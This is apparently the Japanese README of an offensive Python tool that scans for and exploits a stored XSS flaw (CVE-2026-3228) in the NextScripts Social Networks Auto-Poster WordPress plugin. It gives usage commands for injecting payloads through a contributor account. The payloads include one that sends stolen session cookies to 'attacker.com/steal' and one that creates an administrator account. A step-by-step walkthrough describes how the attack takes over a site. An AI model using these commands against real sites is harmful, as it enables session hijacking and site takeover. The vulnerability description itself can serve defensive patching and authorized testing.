
CVE-2026-3228をスキャン・悪用するツールです。NextScripts WordPressプラグインの格納型XSSを対象とし、認証前検出、認証済みチェック、およびPoC・クッキー窃取・管理者作成のためのペイロード注入を備えています。
CVE-2026-3228 - NextScripts WordPressプラグイン格納型XSSスキャナー&エクスプロイト
https://img.shields.io/badge/python-3.6+-blue.svg
https://img.shields.io/badge/license-MIT-green
https://img.shields.io/badge/WordPress-Plugin-red
著者: NULL200OK
CVE-2026-3228をスキャンおよび悪用するための包括的なPythonツールです。これは、NextScripts: Social Networks Auto-Poster WordPressプラグイン(バージョン ≤ 4.4.6)における格納型クロスサイトスクリプティング(XSS)脆弱性です。
この脆弱性により、Contributorレベル以上のアクセス権を持つ認証済みユーザーが、[nxs_fbembed]ショートコードを介して任意のJavaScriptを注入できます。管理者が感染した投稿を閲覧すると、スクリプトがそのブラウザ上で実行され、セッションハイジャック、管理者アカウントの作成、サイトの乗っ取りにつながる可能性があります。
📦 機能
info – 詳細なCVE情報(説明、根本原因、影響)を表示します。
scan – 認証前スキャンを実行して、プラグインとそのバージョンを検出します。
check – 認証情報を使用した包括的なチェック(ログイン、権限検証、バージョン検出)を実行します。
exploit – 脆弱なショートコードを使用して、新しい投稿に悪意のあるXSSペイロードを注入します。
複数のペイロードタイプ:
alert – 概念実証用のシンプルなアラートボックス。
cookie – セッションCookieを窃取し、コールバックURLに送信します。
admin – 新しい管理者ユーザーの作成を試みます(管理者がページを閲覧する必要があります)。
html – onerrorイベントを使用した基本的なHTMLインジェクション。
custom – ユーザー指定のJavaScript。
all – すべてのペイロードタイプを別々の投稿に注入します。
自動認証 – WordPressログイン、セッション管理、nonce抽出を処理します。
フォールバック注入方法 – 最初にREST APIを試行し、次に従来のフォーム送信を試行します。
ユーザーフレンドリーな出力 – 色分けされたステータスメッセージと明確なステップバイステップのガイダンス。
🚨 脆弱性の概要
CVE ID: CVE-2026-3228
CVSSスコア: 6.4(中)
影響を受けるプラグイン: NextScripts: Social Networks Auto-Poster ≤ 4.4.6
根本原因:
snapFB投稿メタ値の入力サニタイズが不十分。
[nxs_fbembed]ショートコードのレンダリング時の出力エスケープが不十分。
必要な権限: Contributorレベル以上のアカウント。
影響: 攻撃者は、感染した投稿を閲覧する任意のユーザー(管理者を含む)のコンテキストで任意のJavaScriptを実行でき、サイト全体の乗っ取りにつながります。
⚙️ 要件
Python 3.6+
requests
beautifulsoup4
依存関係のインストール:
bash
pip install requests beautifulsoup4
🔧 インストール
bash
cd CVE-2026-3228
📚 使用方法
text
usage: CVE-2026-3228.py [-h] {info,scan,check,exploit} ...
CVE-2026-3228 - NextScripts WordPressプラグイン格納型XSSスキャナー&エクスプロイト
位置引数:
{info,scan,check,exploit}
info CVEに関する詳細情報を表示します
scan ターゲットが脆弱かどうかを確認します(認証前)
check 認証情報を使用した包括的なチェック
exploit 脆弱性を悪用します(有効な認証情報が必要)
オプション引数:
-h, --help このヘルプメッセージを表示して終了します
bash
python3 CVE-2026-3228.py info
bash
python3 CVE-2026-3228.py scan https://example.com
bash
python3 CVE-2026-3228.py check https://example.com -u contributor -p password
基本的なアラートペイロード(PoC)
bash
python3 CVE-2026-3228.py exploit https://example.com -u contributor -p password --payload-type alert
Cookieの窃取(リスナーが必要)
bash
python3 CVE-2026-3228.py exploit https://example.com -u contributor -p password --payload-type cookie --callback-url https://attacker.com/steal
管理者ユーザーの作成を試行(管理者がページを閲覧した場合)
bash
python3 CVE-2026-3228.py exploit https://example.com -u contributor -p password --payload-type admin
すべてのペイロードタイプの注入
bash
python3 CVE-2026-3228.py exploit https://example.com -u contributor -p password --payload-type all
カスタムJavaScript
bash
python3 CVE-2026-3228.py exploit https://example.com -u contributor -p password --payload-type custom --custom-js "console.log('pwned')"
🧠 仕組み(ステップバイステップ)
認証 – スクリプトは提供された認証情報を使用してWordPressにログインし、セッションを維持します。
権限チェック – ログインしたユーザーが少なくともContributorレベルのアクセス権を持っていることを検証します(投稿作成に必要)。
ペイロード生成 – 選択したタイプに基づいてJavaScriptペイロードを作成します。
注入 – 脆弱な[nxs_fbembed]ショートコードを含む新しい投稿を作成します。悪意のあるスクリプトはsnapFB投稿メタフィールドに配置されます。このフィールドはプラグインによって適切にサニタイズされていません。
保存 – 投稿が公開(または下書きとして保存)され、ペイロードがデータベースに保存されます。
トリガー – 管理者(または任意のユーザー)が投稿を閲覧すると、サニタイズされていないスクリプトがレンダリングされ、そのブラウザ上で実行されます。
攻撃後 – ペイロードに応じて、攻撃者はCookieの窃取、管理者アカウントの作成、その他のアクションを実行できます。
スクリプトは最初にWordPress REST APIを介した注入を試行します(高速でクリーン)。失敗した場合は、従来のフォーム送信にフォールバックし、投稿エディターページから必要なnonceを抽出します。
⚠️ 免責事項
このツールは、教育目的および許可されたセキュリティテスト専用に提供されています。 所有していない、または明示的なテスト許可を得ていないシステムに対する不正使用は違法です。著者(NULL200OK)は一切の責任を負わず、このスクリプトの誤用または損害について責任を負いません。
📄 ライセンス
このプロジェクトはMITライセンスの下でライセンスされています – 詳細についてはLICENSEファイルを参照してください。
📬 参考情報
MITRE CVE‑2026‑3228(プレースホルダー)
WordPressプラグインディレクトリ
OWASP格納型XSS